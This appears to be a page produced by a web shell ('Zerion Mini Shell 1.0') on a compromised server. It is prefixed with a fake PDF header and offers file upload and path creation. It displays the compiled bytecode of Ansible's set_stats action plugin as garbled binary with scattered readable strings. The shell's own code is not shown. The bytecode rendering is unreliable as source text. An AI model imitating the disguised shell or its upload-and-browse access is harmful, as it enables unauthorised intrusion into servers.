%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.9/site-packages/ansible/plugins/action/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.9/site-packages/ansible/plugins/action/__pycache__/set_stats.cpython-39.pyc

a

�)gI�@s\ddlmZmZmZeZddlmZddlm	Z	ddl
mZddlm
Z
Gdd�de�ZdS)	�)�absolute_import�division�print_function)�string_types)�boolean)�
ActionBase)�isidentifiercs*eZdZdZed�Zd�fdd�	Z�ZS)�ActionModuleF)�	aggregate�data�per_hostNc
s<|durt�}tt|��||�}~iddd�}|jj�r(|jj�di�}t|t�sd|jj	|ddd�}t|t�s�d|d<d|d<|Sd	D]H}|jj�|d�}|dur�t|t
�s�t|j�	|�dd
�||<q�|||<q�|��D]N\}}	|j�	|�}t
|��sd|d<d||d<|S|j�	|	�|d|<q�d|d<||d
<|S)NFT)rrr
r)Zconvert_bareZfail_on_undefinedZfailedz/The 'data' option needs to be a dictionary/hash�msg)rr
)�strictz�The variable name '%s' is not valid. Variables must start with a letter or underscore character, and contain only letters, numbers and underscores.ZchangedZ
ansible_stats)�dict�superr	�runZ_task�args�get�
isinstanceZ_templar�template�boolr�itemsr)
�self�tmpZ	task_vars�resultZstatsr�opt�val�k�v��	__class__��D/usr/lib/python3.9/site-packages/ansible/plugins/action/set_stats.pyr!s>





�zActionModule.run)NN)�__name__�
__module__�__qualname__ZTRANSFERS_FILES�	frozensetZ_VALID_ARGSr�
__classcell__r!r!rr"r	sr	N)Z
__future__rrr�typeZ
__metaclass__Zansible.module_utils.sixrZ)ansible.module_utils.parsing.convert_boolrZansible.plugins.actionrZansible.utils.varsrr	r!r!r!r"�<module>s

Zerion Mini Shell 1.0